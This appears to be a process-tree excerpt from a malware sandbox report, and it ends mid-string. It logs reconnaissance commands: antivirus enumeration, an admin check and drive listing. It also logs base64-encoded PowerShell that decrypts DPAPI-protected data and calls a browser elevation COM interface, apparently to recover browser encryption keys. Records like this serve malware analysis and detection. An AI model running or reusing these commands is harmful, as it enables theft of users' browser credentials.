    powershell -NoProfile -ExecutionPolicy Bypass -STA -File "C:\Users\Admin\AppData\Local\Temp\vc_ss_1787453309646.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | Select-Object -ExpandProperty displayName""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | Select-Object -ExpandProperty displayName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAEYAZQB4AHgAbABQAGoASQBsAEUANgBPAFAAQwBlAFoARgArAFcAZABEAGgAQQBBAEEAQQBBAGMAQQBBAEEAQQBSAHcAQgB2AEEARwA4AEEAWgB3AEIAcwBBAEcAVQBBAEkAQQBCAEQAQQBHAGcAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEEAQQBBAEIAQgBtAEEAQQBBAEEAQQBRAEEAQQBJAEEAQQBBAEEARwB5AEEAMABMADIAaQBWAGQAVwAxADgAcQBRADMASwBWAEMAZAA5AFgAbwBlAGgAeAA5AHkAcwBTAC8AWABOAHkARABzAEwASwBrAE0AVgA1ADAANABBAEEAQQBBAEEAQQA2AEEAQQBBAEEAQQBBAGcAQQBBAEkAQQBBAEEAQQBMACsARQBFAFoANgBwAGkAWQBzAGMARQBmAE4AWABBAHMASgAxADMAZwBUAGkASgBpADQANQBuADUAUQByAEUARQA3AGwANABlAHcASwBCAG8AZgBqAE0AQQBBAEEAQQBFAEgAawAvAGwAVwBDAFkAawBzAHcAUwA1AFcAaQB3AGoAOQBtADMAVABVADEAOQBiAHUAUgAvAG4ARwBPAG4AawBlAHEAMABFAFoAbgB2AFgAUwBYADkAMwArAEMAaABkAEEATgBsAFQAdwBXAHAAZgBpAFkATQBlAHUAKwBIAEUAQQBBAEEAQQBDAEIAQQArAHIARgBEAEEASgA1AG0AbgBBAGsAYwBEAGoASwA5AGgAdQBkAFgAVQBrAGIAMgBQAEkAdQAxADAAUQBzADAAOABaAFYAYQBSADIARQBWADQASwBTAFYAZQBHAEkANgBKADEAaAArAGcASwB6AEkAbQBhAHAANQBXAHkAdgBoADAAdABZAGUANABpAHAANwBOAFYAegB3AEcAYgBFAE0AZABHAEQAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcwAgAGkAbgAgAEAAKAAnAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAnACwAJwBMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAnACkAKQB7AHQAcgB5AHsAJAByAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsACQAcwApADsAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewB9AH0A"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAEYAZQB4AHgAbABQAGoASQBsAEUANgBPAFAAQwBlAFoARgArAFcAZABEAGgAQQBBAEEAQQBBAGMAQQBBAEEAQQBSAHcAQgB2AEEARwA4AEEAWgB3AEIAcwBBAEcAVQBBAEkAQQBCAEQAQQBHAGcAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEEAQQBBAEIAQgBtAEEAQQBBAEEAQQBRAEEAQQBJAEEAQQBBAEEARwB5AEEAMABMADIAaQBWAGQAVwAxADgAcQBRADMASwBWAEMAZAA5AFgAbwBlAGgAeAA5AHkAcwBTAC8AWABOAHkARABzAEwASwBrAE0AVgA1ADAANABBAEEAQQBBAEEAQQA2AEEAQQBBAEEAQQBBAGcAQQBBAEkAQQBBAEEAQQBMACsARQBFAFoANgBwAGkAWQBzAGMARQBmAE4AWABBAHMASgAxADMAZwBUAGkASgBpADQANQBuADUAUQByAEUARQA3AGwANABlAHcASwBCAG8AZgBqAE0AQQBBAEEAQQBFAEgAawAvAGwAVwBDAFkAawBzAHcAUwA1AFcAaQB3AGoAOQBtADMAVABVADEAOQBiAHUAUgAvAG4ARwBPAG4AawBlAHEAMABFAFoAbgB2AFgAUwBYADkAMwArAEMAaABkAEEATgBsAFQAdwBXAHAAZgBpAFkATQBlAHUAKwBIAEUAQQBBAEEAQQBDAEIAQQArAHIARgBEAEEASgA1AG0AbgBBAGsAYwBEAGoASwA5AGgAdQBkAFgAVQBrAGIAMgBQAEkAdQAxADAAUQBzADAAOABaAFYAYQBSADIARQBWADQASwBTAFYAZQBHAEkANgBKADEAaAArAGcASwB6AEkAbQBhAHAANQBXAHkAdgBoADAAdABZAGUANABpAHAANwBOAFYAegB3AEcAYgBFAE0AZABHAEQAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcwAgAGkAbgAgAEAAKAAnAEMAdQByAHIAZQBuAHQAVQBzAGUAcgAnACwAJwBMAG8AYwBhAGwATQBhAGMAaABpAG4AZQAnACkAKQB7AHQAcgB5AHsAJAByAD0AWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAYgAsACQAbgB1AGwAbAAsACQAcwApADsAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAByACkAOwBiAHIAZQBhAGsAfQBjAGEAdABjAGgAewB9AH0A
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAEYAZQB4AHgAbABQAGoASQBsAEUANgBPAFAAQwBlAFoARgArAFcAZABEAGgAQQBBAEEAQQBBAGUAQQBBAEEAQQBUAFEAQgBwAEEARwBNAEEAYwBnAEIAdgBBAEgATQBBAGIAdwBCAG0AQQBIAFEAQQBJAEEAQgBGAEEARwBRAEEAWgB3AEIAbABBAEEAQQBBAEUARwBZAEEAQQBBAEEAQgBBAEEAQQBnAEEAQQBBAEEAQwBoADUAMQB2AG4AKwBGADEAeABVAGwANwA3AEEAbAAwAGkAdQBPAFQASABHAE0AZABXADkAdQBSAFUAOAAwADIAZwBwAGsAMwBxAFIARwBQAGQAYwBBAEEAQQBBAEEARABvAEEAQQBBAEEAQQBDAEEAQQBBAGcAQQBBAEEAQQBYAG0AdgBOAGEAQQB2AFoAbgBkAGYAMQBaAGoAQQBwAFoARwBWACsARQBCACsAOQBPADMAegBPAFkAZgBJAGwAKwBNAGcAbgBkAHUAdgBnAGsAdQBnAHcAQQBBAEEAQQB3AE8ASgBxAEcARAAyAHYAWABkAEwAMgBTAGsAZAA0AFUAUABrAEoARQBZAEsAQgBOAGcAWgA0ADcAWgA3AGwARwB5AGMAVwBjAFoAKwBmAFcAbQBpAHgAawBzAEsAUwBCADIAYwBVAHUAMQBDAGsAcABZAGEAZAA0AHYAQgAxAFEAQQBBAEEAQQBJAGQASQA0AEwAYQBYAEQAUQAwAHkAUwBDAHcAeQA1AHAARABVAEkAZwBJAG8ARQBzAFQATgBQAE0AMABJAEcAUQBHAFUAVgBUAEsAbAAxADgAagAwAEEAWQBsAEsAcwByAEsAagBSAHEAZwBHADQAdAB0AGcAZgAwADUANwBGAHAAaQArAFgAQQBHAFUAYQBjAHkAQQBOAHgAMQBMAEQATABkAGIAdQB5AFEAPQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABzACAAaQBuACAAQAAoACcAQwB1AHIAcgBlAG4AdABVAHMAZQByACcALAAnAEwAbwBjAGEAbABNAGEAYwBoAGkAbgBlACcAKQApAHsAdAByAHkAewAkAHIAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAJABzACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AH0AfQA="
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAJABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAQQBRAEEAQQBBAE4AQwBNAG4AZAA4AEIARgBkAEUAUgBqAEgAbwBBAHcARQAvAEMAbAArAHMAQgBBAEEAQQBBAEYAZQB4AHgAbABQAGoASQBsAEUANgBPAFAAQwBlAFoARgArAFcAZABEAGgAQQBBAEEAQQBBAGUAQQBBAEEAQQBUAFEAQgBwAEEARwBNAEEAYwBnAEIAdgBBAEgATQBBAGIAdwBCAG0AQQBIAFEAQQBJAEEAQgBGAEEARwBRAEEAWgB3AEIAbABBAEEAQQBBAEUARwBZAEEAQQBBAEEAQgBBAEEAQQBnAEEAQQBBAEEAQwBoADUAMQB2AG4AKwBGADEAeABVAGwANwA3AEEAbAAwAGkAdQBPAFQASABHAE0AZABXADkAdQBSAFUAOAAwADIAZwBwAGsAMwBxAFIARwBQAGQAYwBBAEEAQQBBAEEARABvAEEAQQBBAEEAQQBDAEEAQQBBAGcAQQBBAEEAQQBYAG0AdgBOAGEAQQB2AFoAbgBkAGYAMQBaAGoAQQBwAFoARwBWACsARQBCACsAOQBPADMAegBPAFkAZgBJAGwAKwBNAGcAbgBkAHUAdgBnAGsAdQBnAHcAQQBBAEEAQQB3AE8ASgBxAEcARAAyAHYAWABkAEwAMgBTAGsAZAA0AFUAUABrAEoARQBZAEsAQgBOAGcAWgA0ADcAWgA3AGwARwB5AGMAVwBjAFoAKwBmAFcAbQBpAHgAawBzAEsAUwBCADIAYwBVAHUAMQBDAGsAcABZAGEAZAA0AHYAQgAxAFEAQQBBAEEAQQBJAGQASQA0AEwAYQBYAEQAUQAwAHkAUwBDAHcAeQA1AHAARABVAEkAZwBJAG8ARQBzAFQATgBQAE0AMABJAEcAUQBHAFUAVgBUAEsAbAAxADgAagAwAEEAWQBsAEsAcwByAEsAagBSAHEAZwBHADQAdAB0AGcAZgAwADUANwBGAHAAaQArAFgAQQBHAFUAYQBjAHkAQQBOAHgAMQBMAEQATABkAGIAdQB5AFEAPQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABzACAAaQBuACAAQAAoACcAQwB1AHIAcgBlAG4AdABVAHMAZQByACcALAAnAEwAbwBjAGEAbABNAGEAYwBoAGkAbgBlACcAKQApAHsAdAByAHkAewAkAHIAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABiACwAJABuAHUAbABsACwAJABzACkAOwBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAKQA7AGIAcgBlAGEAawB9AGMAYQB0AGMAaAB7AH0AfQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACcACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwAKAFsAQwBvAG0ASQBtAHAAbwByAHQALAAgAEcAdQBpAGQAKAAiAEEAOQA0ADkAQwBCADQARQAtAEMANABGADkALQA0ADQAQwA0AC0AQgAyADEAMwAtADYAQgBGADgAQQBBADkAQQBDADYAOQBDACIAKQAsACAASQBuAHQAZQByAGYAYQBjAGUAVAB5AHAAZQAoAEMAbwBtAEkAbgB0AGUAcgBmAGEAYwBlAFQAeQBwAGUALgBJAG4AdABlAHIAZgBhAGMAZQBJAHMASQBVAG4AawBuAG8AdwBuACkAXQAKAHAAdQBiAGwAaQBjACAAaQBuAHQAZQByAGYAYQBjAGUAIABJAEUAbABlAHYAYQB0AG8AcgAgAHsACgAgACAAIAAgAFsAUAByAGUAcwBlAHIAdgBlAFMAaQBnAF0AIABpAG4AdAAgAFIAdQBuAFIAZQBjAG8AdgBlAHIAeQBDAFIAWABFAGwAZQB2AGEAdABlAGQAKABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAYQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFcAUwB0AHIAKQBdACAAcwB0AHIAaQBuAGcAIABiACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBMAFAAVwBTAHQAcgApAF0AIABzAHQAcgBpAG4AZwAgAGMALABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAZAAsAHUAaQBuAHQAIABlACwAbwB1AHQAIAB1AGwAbwBuAGcAIABmACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARQBuAGMAcgB5AHAAdABEAGEAdABhACgAaQBuAHQAIABwACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKACAAIAAgACAAWwBQAHIAZQBzAGUAcgB2AGUAUwBpAGcAXQAgAGkAbgB0ACAARABlAGMAcgB5AHAAdABEAGEAdABhACgAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAaQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4AQgBTAHQAcgApAF0AIABvAHUAdAAgAHMAdAByAGkAbgBnACAAbwAsAG8AdQB0ACAAdQBpAG4AdAAgAGUAcgByACkAOwAKAH0ACgAnAEAAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAkAGIAPQAnAFEAVgBCAFEAUQBnAEUAQQBBAEEARABRAGoASgAzAGYAQQBSAFgAUgBFAFkAeAA2AEEATQBCAFAAdwBwAGYAcgBBAFEAQQBBAEEASAB2AEgASwBnAEIAMQBmAFcAdABGAG8AbgBrAGkANAB2AHkAZQB6ADMARQBRAEEAQQBBAEEASABBAEEAQQBBAEUAYwBBAGIAdwBCAHYAQQBHAGMAQQBiAEEAQgBsAEEAQwBBAEEAUQB3AEIAbwBBAEgASQBBAGIAdwBCAHQAQQBHAFUAQQBBAEEAQQBRAFoAZwBBAEEAQQBBAEUAQQBBAEMAQQBBAEEAQQBEAFEAbgBPADgANgA2AG0AcwBnAFAAZQBiAHMAQQBNAGUAcAA1AGwASQBYAEQANgB6AFoAUwBJAGMAUQBUAFQAcgBBAHYAbQAwADMAdgBaADgAOAA3AFEAQQBBAEEAQQBBAE8AZwBBAEEAQQBBAEEASQBBAEEAQwBBAEEAQQBBAEEAZgArAFEAWQBSADkAZwA5AEwAQwBwAHUARgBFAGkAKwBwADYAVQBxAHMANgBtAGcASQByAEYANgBLAGEAZgBiADkAVABWADYAcwBwAG4ARwBCACsASgBBAEIAQQBBAEQAMgBaAGUAOAAwAGwAZQBVAEYATwA0AFYAcwA2AGIAVAA4ADEAMQBJAFEAUQBoADcAQwBpADEANgBPAGkAZwBvAEIAaABZAEwANABJAGkAegBaAEYATgBjAHgAdQA0ADcARQBSAEQANgBhAFEAMgB3AE0AKwBpAGEAZQB5AEEAKwBqAEMAOABXADQATABoAFUASwBjAFAAbwAyAGkAOQBWAGQAMwB5AHkARABuAEwAbQArADEASAB5AFkAMwA2ACsAagBUAFIAUQAwAHQATwAwAGEAbwBHAHUAcgBBAEYAUgBOACsALwA2AHEAOAB5ADcAagBFAEwAQQBCADIAWABjAEEAcgBQAHAANgB5AFgATQB5ADEAcQBhADMATgA3ACsAMQBtAG8ARgBVAEYAdQBlAEkATQBaAG0AaAA3AHMANwBaADYAeQA1AG4ANwBTAFIAaQBFAHgAYwBrAFYALwBhAGgAYQBFAEkAeABUAE4ANwA5AGcAQwBBAHkAUAB0AGYAKwBtAHgARQBtADkAVwBHAHkAcQB3ADkATQArAEIAZQBuAFEALwBxADAANQBhAEEAOAAvAHkAdgBqAGQAbQBGAEsAMgBqAGgAWQBkAGkAUQBCAE8AMQBXAEMASQAyAFEAeQBsAFEALwBXAFIAcABsADgAegBTAEMAeQBIAHoATgB4AHcAUwBoADgAbgBtAGsAUwBkAFUAdwBOAEYASgBiAGMAOQBwAE0AcAA3AFoAQgBkAGcATQAwAHgAYQB3AE0ASQBFADEATwAzADIAQQBPAFEAeQBGAEcAdgBaAHYAeQB1ACsAcQBJAHEAMwBEAGQATAA5AHIANQA0AHoAagB2AHIAMwBvAGoAVwB2AE0ASwBMAEQAagBsAFoATwBlADEAdgBsAHMASQBPAFEAZQBlAHYAUQBWADYAMwAvAGUATQB2AGIAcwBHAG0AeQBhADQAVAB0AEgASQBaAGIANQBqAEMAQgByAFIAQQBLAE0ATABGAG8AcwB5AHMAdgByAHAAcAB4AEQASABHADgAZgBpAHoAOQB5AEsAcABWAFgAUgA1ADYARgBEAFoASQBNAG4ATQBiAG0ANAB2AFQAdwB1AEUATwBIAEgAegBFAGYAeQA2AHQAQwBMADcASQBxAFIAbgBGAE4AOAA1AEUATgBZAC8AZQBsAFMAZABoAGQAbwBSAG0AZwBVAHYAVQB4AEcAOABhADMAeAA1ADkATABpAFgAMABIAHkAZAArAEIAVgBRAEwAVQB1AEMAWABxAG4ATQBsAHkAaAA5AEMANQBuAEMATABNAHMAWQBkADgAWgBCAHQAagBHAFkALwBWAE8AUwBnAFoAOAAyAHMAcwBDAHgANABVAHcAOABLADYAVgBmAHUAcABhAGkAZQBUADAAMAB4AEoAQQBLAFEAQQBBAEEAQQBPAEsAawBwAHkAQgBFAGYAVwBBADEAbgBRADMAagBMAEwAdQBQAFMASQBQADkAKwArAFkAZgBCAGQAUQBXAE0AWABhADIAbwBLAFYAVAA0AGYALwByAEsAbwB0AE0AOQBZAGkANABNAG0ARABqAHoARgBQAFAAcgBoADIAbgB2AHQAYgB4AGoASgA4AHQARgB4AG0ASAAzAGIANwBqAFQAbAA3ADQAQgB2AGMAPQAnAAoAJABlAG4AYwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEwAYQB0AGkAbgAxAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgApACkACgBmAG8AcgBlAGEAYwBoACgAJABjACAAaQBuACAAQAAoACcAewA3ADAAOAA4ADYAMABFADAALQBGADYANAAxAC0ANAA2ADEAMQAtADgAOAA5ADUALQA3AEQAOAA2ADcARABEADMANgA3ADUAQgB9ACcALAAnAHsARABEADIAQwBDADAANABBAC0ARAAzAEQAMwAtADQARABDAEEALQBCAEQAQgA3AC0ARQAwADcARgA0AEIAMAA1AEIANQBGADkAfQAnACwAJwB7AEQAQQA3AEYARABDAEEANQAtADIAQwBBAEEALQA0ADYAMwA3AC0AQQBBADEANwAtADAANwA0ADAANQA4ADQARABFADcARABBAH0AJwAsACcAewA3ADAANABDADIAOAA3ADIALQAyADAANAA5AC0ANAAzADUARQAtAEEANAA2ADkALQAwAEEANQAzADQAMwAxADMAQwA0ADIAQgB9ACcALAAnAHsANQA3ADYAQgAzADEAQQBGAC0ANgAzADYAOQAtADQAQwBCAEIALQBCADMANAA1AC0ANgBCADgAOABFADgAQgBBAEIAMwBDAEUAfQAnACkAKQB7AAoAIAAgACAAIAB0AHIAeQB7AAoAIAAgACAAIAAgACAAIAAgACQAZQBsAD0AWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKABbAFQAeQBwAGUAXQA6ADoARwBlAHQAVAB5AHAAZQBGAHIAbwBtAEMATABTAEkARAAoAFsARwB1AGkAZABdACQAYwAsACQAdAByAHUAZQApACkAIAAtAGEAcwAgAFsASQBFAGwAZQB2AGEAdABvAHIAXQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAhACQAZQBsACkAewBjAG8AbgB0AGkAbgB1AGUAfQAKACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAD0AWwBzAHQAcgBpAG4AZwBdADoAOgBFAG0AcAB0AHkAOwAkAGUAcgByAD0AWwB1AGkAbgB0ADMAMgBdADAACgAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAGwALgBEAGUAYwByAHkAcAB0AEQAYQB0AGEAKAAkAGUAbgBjACwAWwByAGUAZgBdACQAZABlAGMALABbAHIAZQBmAF0AJABlAHIAcgApACAALQBlAHEAIAAwACAALQBhAG4AZAAgACQAZABlAGMALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoAVwByAGkAdABlAEwAaQBuAGUAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoATABhAHQAaQBuADEALgBHAGUAdABCAHkAdABlAHMAKAAkAGQAZQBjACkAKQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAgADAACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQBjAGEAdABjAGgAewB9AAoAfQA="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACcACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwAKAFsAQwBvAG0ASQBtAHAAbwByAHQALAAgAEcAdQBpAGQAKAAiAEEAOQA0ADkAQwBCADQARQAtAEMANABGADkALQA0ADQAQwA0AC0AQgAyADEAMwAtADYAQgBGADgAQQBBADkAQQBDADYAOQBDACIAKQAsACAASQBuAHQAZQByAGYAYQBjAGUAVAB5AHAAZQAoAEMAbwBtAEkAbgB0AGUAcgBmAGEAYwBlAFQAeQBwAGUALgBJAG4AdABlAHIAZgBhAGMAZQBJAHMASQBVAG4AawBuAG8AdwBuACkAXQAKAHAAdQBiAGwAaQBjACAAaQBuAHQAZQByAGYAYQBjAGUAIABJAEUAbABlAHYAYQB0AG8AcgAgAHsACgAgACAAIAAgAFsAUAByAGUAcwBlAHIAdgBlAFMAaQBnAF0AIABpAG4AdAAgAFIAdQBuAFIAZQBjAG8AdgBlAHIAeQBDAFIAWABFAGwAZQB2AGEAdABlAGQAKABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABXAFMAdAByACkAXQAgAHMAdAByAGkAbgBnACAAYQAsAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFcAUwB0AHIAKQBdACAAcwB0AHIAaQBuAGcAIABiACwAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBMAFAAVwBTAHQAcgApAF0AIABzAH